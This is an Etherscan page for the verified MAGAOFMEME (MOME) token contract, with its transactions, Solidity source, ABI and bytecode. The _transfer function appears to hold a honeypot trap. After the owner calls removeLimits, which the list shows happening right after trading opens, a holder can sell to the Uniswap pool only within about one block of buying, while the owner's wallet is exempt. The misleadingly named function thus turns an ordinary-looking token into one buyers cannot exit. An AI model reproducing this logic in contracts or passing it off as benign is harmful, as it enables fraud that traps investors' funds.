ETH Price: $2,487.71 (-1.42%)

Contract

0x3280037F01757B73D0612CB4792d840f01FDAC09
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Remove Limits200267322024-06-05 16:10:1187 days ago1717603811IN
0x3280037F...f01FDAC09
0 ETH0.0006949320.25858112
Approve200267242024-06-05 16:08:3587 days ago1717603715IN
0x3280037F...f01FDAC09
0 ETH0.0012077925.94345147
Approve200267242024-06-05 16:08:3587 days ago1717603715IN
0x3280037F...f01FDAC09
0 ETH0.0012077925.94345147
Approve200267242024-06-05 16:08:3587 days ago1717603715IN
0x3280037F...f01FDAC09
0 ETH0.0012077925.94345147
Approve200267242024-06-05 16:08:3587 days ago1717603715IN
0x3280037F...f01FDAC09
0 ETH0.0014405730.94345147
Approve200267242024-06-05 16:08:3587 days ago1717603715IN
0x3280037F...f01FDAC09
0 ETH0.0014405730.94345147
Enable Trading200267232024-06-05 16:08:2387 days ago1717603703IN
0x3280037F...f01FDAC09
0 ETH0.00197120.30688183
Approve200265842024-06-05 15:40:3587 days ago1717602035IN
0x3280037F...f01FDAC09
0 ETH0.0010629422.83197438
Approve200265042024-06-05 15:24:3587 days ago1717601075IN
0x3280037F...f01FDAC09
0 ETH0.0008323117.99881516
Approve200261392024-06-05 14:10:5987 days ago1717596659IN
0x3280037F...f01FDAC09
0 ETH0.0011802325.51594256
0x60806040200255132024-06-05 12:05:1187 days ago1717589111IN
 Create: MAGAOFMEME
0 ETH0.0219835420.5160725

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MAGAOFMEME

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-06-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

/// @title Provides functions for deriving a pool address from the factory, tokens, and the fee
library PoolAddress {
    bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54;

    /// @notice The identifying key of the pool
    struct PoolKey {
        address token0;
        address token1;
        uint24 fee;
    }

    /// @notice Returns PoolKey: the ordered tokens with the matched fee levels
    /// @param tokenA The first token of a pool, unsorted
    /// @param tokenB The second token of a pool, unsorted
    /// @param fee The fee level of the pool
    /// @return Poolkey The pool details with ordered token0 and token1 assignments
    function getPoolKey(
        address tokenA,
        address tokenB,
        uint24 fee
    ) internal pure returns (PoolKey memory) {
        if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA);
        return PoolKey({token0: tokenA, token1: tokenB, fee: fee});
    }

    /// @notice Deterministically computes the pool address given the factory and PoolKey
    /// @param factory The Uniswap V3 factory contract address
    /// @param key The PoolKey
    /// @return pool The contract address of the V3 pool
    function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) {
        require(key.token0 < key.token1);
        pool = address(uint160(uint256(keccak256(
                abi.encodePacked(
                    hex'ff',
                    factory,
                    keccak256(abi.encode(key.token0, key.token1, key.fee)),
                    POOL_INIT_CODE_HASH
                )))));
    }
}

interface IPeripheryImmutableState {
    /// @return Returns the address of the Uniswap V3 factory
    function factory() external view returns (address);

    /// @return Returns the address of WETH9
    function WETH9() external view returns (address);
}

contract MAGAOFMEME is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000 * 10 ** _decimals;
    string private constant _name = unicode"MAGA OF MEME";
    string private constant _symbol = unicode"MOME";
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;

    IPeripheryImmutableState private uniswapV3Router;
    address private uniswapV3Pair;
    address private router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
    address private universalRouter = 0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD;
    address private positionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

    mapping (address => bool) private isExcludedFromLimits;
    mapping (address => uint256) private lastBuyBlocks;
    mapping (address => uint256) private lastBuyAmounts;

    constructor() {
        _balances[owner()] = _tTotal;
        isExcludedFromLimits[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        uniswapV3Router = IPeripheryImmutableState(router);
        uniswapV3Pair = PoolAddress.computeAddress(uniswapV3Router.factory(), PoolAddress.getPoolKey(address(this), uniswapV3Router.WETH9(), 10000));
        require(uniswapV3Pair != address(0), "Invalid pair address");
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (isExcludedFromLimits[from] || isExcludedFromLimits[to]) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV3Pair && maxTxAmount == totalSupply()) {
            require(block.number < lastBuyBlocks[from] + 2 && amount <= lastBuyAmounts[from], "Tx amount limit");
            lastBuyAmounts[from] -= amount;
        }

        if ((from == uniswapV3Pair && to != positionManager) || from == universalRouter) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
            lastBuyBlocks[to] = block.number;
            lastBuyAmounts[to] = amount;
        }

        _superTransfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a61031c565b610020906319133850610331565b61002b906032610331565b6100359190610348565b60045560646100466009600a61031c565b610054906319133850610331565b61005f906032610331565b6100699190610348565b600555600880546001600160a01b031990811673e592427a0aece92de3edee1f18e0157c0586156417909155600980548216733fc91a3afd70395cd496c647d5a6cc9d4b2b7fad179055600a805490911673c36442b4a4522e871399cd717abdd847ab11fe881790553480156100dd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35061012a6009600a61031c565b610138906319133850610331565b60015f61014c5f546001600160a01b031690565b6001600160a01b03166001600160a01b031681526020019081526020015f20819055506001600b5f61018261021560201b60201c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556101ba5f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101f16009600a61031c565b6101ff906319133850610331565b60405190815260200160405180910390a3610367565b5f546001600160a01b031690565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102725780850481111561025657610256610223565b600184161561026457908102905b60019390931c92800261023b565b935093915050565b5f8261028857506001610316565b8161029457505f610316565b81600181146102aa57600281146102b4576102d0565b6001915050610316565b60ff8411156102c5576102c5610223565b50506001821b610316565b5060208310610133831016604e8410600b84101617156102f3575081810a610316565b6102ff5f198484610237565b805f190482111561031257610312610223565b0290505b92915050565b5f61032a60ff84168361027a565b9392505050565b808202811582820484141761031657610316610223565b5f8261036257634e487b7160e01b5f52601260045260245ffd5b500490565b610ed7806103745f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610262578063dd62ed3e14610281575f80fd5b8063715018a6146101d2578063751039fc146101e85780638a8c523c146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806370a082311461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b4d414741204f46204d454d4560a01b60208201525b60405161010a9190610c02565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004610c4e565b6102c5565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102db565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004610c78565b6102fb565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101566101b8366004610cb6565b6001600160a01b03165f9081526001602052604090205490565b3480156101dd575f80fd5b506101e661034b565b005b3480156101f3575f80fd5b506101e66103c5565b348015610207575f80fd5b506101e6610406565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260048152634d4f4d4560e01b60208201526100fd565b34801561026d575f80fd5b5061013261027c366004610c4e565b6105ec565b34801561028c575f80fd5b5061015661029b366004610cd8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d13384846105f8565b5060015b92915050565b5f6102e86009600a610e06565b6102f6906319133850610e14565b905090565b5f61030784848461071c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034191869161033c908690610e2b565b6105f8565b5060019392505050565b5f546001600160a01b0316331461037d5760405162461bcd60e51b815260040161037490610e3e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103ee5760405162461bcd60e51b815260040161037490610e3e565b6103f66102db565b6004556104016102db565b600555565b5f546001600160a01b0316331461042f5760405162461bcd60e51b815260040161037490610e3e565b60035460ff16156104745760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610374565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610588929163c45a01559160048083019260209291908290030181865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105039190610e73565b6105833060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b9190610e73565b612710610a13565b610a7d565b600780546001600160a01b0319166001600160a01b039290921691821790556105ea5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610374565b565b5f6102d133848461071c565b6001600160a01b03831661065a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166106bb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610374565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107595760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610374565b60035460ff166107b5575f546001600160a01b038481169116146107b55760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610374565b6001600160a01b0383165f908152600b602052604090205460ff16806107f257506001600160a01b0382165f908152600b602052604090205460ff165b1561080757610802838383610b63565b505050565b6007546001600160a01b03838116911614801561082c57506108276102db565b600454145b156108e4576001600160a01b0383165f908152600c6020526040902054610854906002610e8e565b4310801561087957506001600160a01b0383165f908152600d60205260409020548111155b6108b75760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b6001600160a01b0383165f908152600d6020526040812080548392906108de908490610e2b565b90915550505b6007546001600160a01b03848116911614801561090f5750600a546001600160a01b03838116911614155b8061092757506009546001600160a01b038481169116145b15610a08576004548111156109705760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b60055481610992846001600160a01b03165f9081526001602052604090205490565b61099c9190610e8e565b11156109e05760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610374565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610802838383610b63565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4d579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa2575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8a908490610e2b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb6908490610e8e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161070f91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4b575f80fd5b50565b5f8060408385031215610c5f575f80fd5b8235610c6a81610c37565b946020939093013593505050565b5f805f60608486031215610c8a575f80fd5b8335610c9581610c37565b92506020840135610ca581610c37565b929592945050506040919091013590565b5f60208284031215610cc6575f80fd5b8135610cd181610c37565b9392505050565b5f8060408385031215610ce9575f80fd5b8235610cf481610c37565b91506020830135610d0481610c37565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d5e57808504811115610d4257610d42610d0f565b6001841615610d5057908102905b60019390931c928002610d27565b935093915050565b5f82610d74575060016102d5565b81610d8057505f6102d5565b8160018114610d965760028114610da057610dbc565b60019150506102d5565b60ff841115610db157610db1610d0f565b50506001821b6102d5565b5060208310610133831016604e8410600b8410161715610ddf575081810a6102d5565b610deb5f198484610d23565b805f1904821115610dfe57610dfe610d0f565b029392505050565b5f610cd160ff841683610d66565b80820281158282048414176102d5576102d5610d0f565b818103818111156102d5576102d5610d0f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e83575f80fd5b8151610cd181610c37565b808201808211156102d5576102d5610d0f56fea264697066735822122056ee46f190cae92f58acc4ed1473d24f11368aedb1d7de99219f2c784075e86164736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c8063715018a61161007c5780638da5cb5b116100575780638da5cb5b1461021057806395d89b4114610236578063a9059cbb14610262578063dd62ed3e14610281575f80fd5b8063715018a6146101d2578063751039fc146101e85780638a8c523c146101fc575f80fd5b806306fdde03146100cd578063095ea7b31461011357806318160ddd1461014257806323b872dd14610164578063313ce5671461018357806370a082311461019e575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600c81526b4d414741204f46204d454d4560a01b60208201525b60405161010a9190610c02565b60405180910390f35b34801561011e575f80fd5b5061013261012d366004610c4e565b6102c5565b604051901515815260200161010a565b34801561014d575f80fd5b506101566102db565b60405190815260200161010a565b34801561016f575f80fd5b5061013261017e366004610c78565b6102fb565b34801561018e575f80fd5b506040516009815260200161010a565b3480156101a9575f80fd5b506101566101b8366004610cb6565b6001600160a01b03165f9081526001602052604090205490565b3480156101dd575f80fd5b506101e661034b565b005b3480156101f3575f80fd5b506101e66103c5565b348015610207575f80fd5b506101e6610406565b34801561021b575f80fd5b505f546040516001600160a01b03909116815260200161010a565b348015610241575f80fd5b506040805180820190915260048152634d4f4d4560e01b60208201526100fd565b34801561026d575f80fd5b5061013261027c366004610c4e565b6105ec565b34801561028c575f80fd5b5061015661029b366004610cd8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102d13384846105f8565b5060015b92915050565b5f6102e86009600a610e06565b6102f6906319133850610e14565b905090565b5f61030784848461071c565b6001600160a01b0384165f9081526002602090815260408083203380855292529091205461034191869161033c908690610e2b565b6105f8565b5060019392505050565b5f546001600160a01b0316331461037d5760405162461bcd60e51b815260040161037490610e3e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146103ee5760405162461bcd60e51b815260040161037490610e3e565b6103f66102db565b6004556104016102db565b600555565b5f546001600160a01b0316331461042f5760405162461bcd60e51b815260040161037490610e3e565b60035460ff16156104745760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610374565b6003805460ff19166001179055600854600680546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b81529051610588929163c45a01559160048083019260209291908290030181865afa1580156104df573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105039190610e73565b6105833060065f9054906101000a90046001600160a01b03166001600160a01b0316634aa4a4fc6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061057b9190610e73565b612710610a13565b610a7d565b600780546001600160a01b0319166001600160a01b039290921691821790556105ea5760405162461bcd60e51b8152602060048201526014602482015273496e76616c69642070616972206164647265737360601b6044820152606401610374565b565b5f6102d133848461071c565b6001600160a01b03831661065a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610374565b6001600160a01b0382166106bb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610374565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116107595760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610374565b60035460ff166107b5575f546001600160a01b038481169116146107b55760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610374565b6001600160a01b0383165f908152600b602052604090205460ff16806107f257506001600160a01b0382165f908152600b602052604090205460ff165b1561080757610802838383610b63565b505050565b6007546001600160a01b03838116911614801561082c57506108276102db565b600454145b156108e4576001600160a01b0383165f908152600c6020526040902054610854906002610e8e565b4310801561087957506001600160a01b0383165f908152600d60205260409020548111155b6108b75760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b6001600160a01b0383165f908152600d6020526040812080548392906108de908490610e2b565b90915550505b6007546001600160a01b03848116911614801561090f5750600a546001600160a01b03838116911614155b8061092757506009546001600160a01b038481169116145b15610a08576004548111156109705760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610374565b60055481610992846001600160a01b03165f9081526001602052604090205490565b61099c9190610e8e565b11156109e05760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610374565b6001600160a01b0382165f908152600c60209081526040808320439055600d90915290208190555b610802838383610b63565b604080516060810182525f8082526020820181905291810191909152826001600160a01b0316846001600160a01b03161115610a4d579192915b50604080516060810182526001600160a01b03948516815292909316602083015262ffffff169181019190915290565b5f81602001516001600160a01b0316825f01516001600160a01b031610610aa2575f80fd5b815160208084015160408086015181516001600160a01b0395861681860152949092168482015262ffffff90911660608085019190915281518085038201815260808501909252815191909201206001600160f81b031960a08401529085901b6bffffffffffffffffffffffff191660a183015260b58201527fe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b5460d582015260f50160408051601f1981840301815291905280516020909101209392505050565b6001600160a01b0383165f9081526001602052604081208054839290610b8a908490610e2b565b90915550506001600160a01b0382165f9081526001602052604081208054839290610bb6908490610e8e565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161070f91815260200190565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610c4b575f80fd5b50565b5f8060408385031215610c5f575f80fd5b8235610c6a81610c37565b946020939093013593505050565b5f805f60608486031215610c8a575f80fd5b8335610c9581610c37565b92506020840135610ca581610c37565b929592945050506040919091013590565b5f60208284031215610cc6575f80fd5b8135610cd181610c37565b9392505050565b5f8060408385031215610ce9575f80fd5b8235610cf481610c37565b91506020830135610d0481610c37565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610d5e57808504811115610d4257610d42610d0f565b6001841615610d5057908102905b60019390931c928002610d27565b935093915050565b5f82610d74575060016102d5565b81610d8057505f6102d5565b8160018114610d965760028114610da057610dbc565b60019150506102d5565b60ff841115610db157610db1610d0f565b50506001821b6102d5565b5060208310610133831016604e8410600b8410161715610ddf575081810a6102d5565b610deb5f198484610d23565b805f1904821115610dfe57610dfe610d0f565b029392505050565b5f610cd160ff841683610d66565b80820281158282048414176102d5576102d5610d0f565b818103818111156102d5576102d5610d0f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215610e83575f80fd5b8151610cd181610c37565b808201808211156102d5576102d5610d0f56fea264697066735822122056ee46f190cae92f58acc4ed1473d24f11368aedb1d7de99219f2c784075e86164736f6c634300081a0033

Deployed Bytecode Sourcemap

3744:4708:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5034:83;;;;;;;;;;-1:-1:-1;5104:5:0;;;;;;;;;;;;-1:-1:-1;;;5104:5:0;;;;5034:83;;;;;;;:::i;:::-;;;;;;;;5867:161;;;;;;;;;;-1:-1:-1;5867:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;5867:161:0;945:187:1;5311:95:0;;;;;;;;;;;;;:::i;:::-;;;1283:25:1;;;1271:2;1256:18;5311:95:0;1137:177:1;6036:266:0;;;;;;;;;;-1:-1:-1;6036:266:0;;;;;:::i;:::-;;:::i;5220:83::-;;;;;;;;;;-1:-1:-1;5220:83:0;;4006:1;1974:36:1;;1962:2;1947:18;5220:83:0;1832:184:1;5414:119:0;;;;;;;;;;-1:-1:-1;5414:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5507:18:0;5480:7;5507:18;;;:9;:18;;;;;;;5414:119;732:148;;;;;;;;;;;;;:::i;:::-;;7082:131;;;;;;;;;;;;;:::i;6653:421::-;;;;;;;;;;;;;:::i;518:79::-;;;;;;;;;;-1:-1:-1;556:7:0;583:6;518:79;;-1:-1:-1;;;;;583:6:0;;;2419:51:1;;2407:2;2392:18;518:79:0;2273:203:1;5125:87:0;;;;;;;;;;-1:-1:-1;5197:7:0;;;;;;;;;;;;-1:-1:-1;;;5197:7:0;;;;5125:87;;5541:167;;;;;;;;;;-1:-1:-1;5541:167:0;;;;;:::i;:::-;;:::i;5716:143::-;;;;;;;;;;-1:-1:-1;5716:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5824:18:0;;;5797:7;5824:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5716:143;5867:161;5942:4;5959:39;175:10;5982:7;5991:6;5959:8;:39::i;:::-;-1:-1:-1;6016:4:0;5867:161;;;;;:::o;5311:95::-;5364:7;4061:15;4006:1;4061:2;:15;:::i;:::-;4049:27;;:9;:27;:::i;:::-;5384:14;;5311:95;:::o;6036:266::-;6134:4;6151:36;6161:6;6169:9;6180:6;6151:9;:36::i;:::-;-1:-1:-1;;;;;6229:19:0;;;;;;:11;:19;;;;;;;;175:10;6229:33;;;;;;;;;6198:74;;6207:6;;6229:42;;6265:6;;6229:42;:::i;:::-;6198:8;:74::i;:::-;-1:-1:-1;6290:4:0;6036:266;;;;;:::o;732:148::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;;;;;;;;;839:1:::1;823:6:::0;;802:40:::1;::::0;-1:-1:-1;;;;;823:6:0;;::::1;::::0;802:40:::1;::::0;839:1;;802:40:::1;870:1;853:19:::0;;-1:-1:-1;;;;;;853:19:0::1;::::0;;732:148::o;7082:131::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;7150:13:::1;:11;:13::i;:::-;7136:11;:27:::0;7192:13:::1;:11;:13::i;:::-;7174:15;:31:::0;7082:131::o;6653:421::-;645:6;;-1:-1:-1;;;;;645:6:0;175:10;645:22;637:67;;;;-1:-1:-1;;;637:67:0;;;;;;;:::i;:::-;6717:14:::1;::::0;::::1;;6716:15;6708:43;;;::::0;-1:-1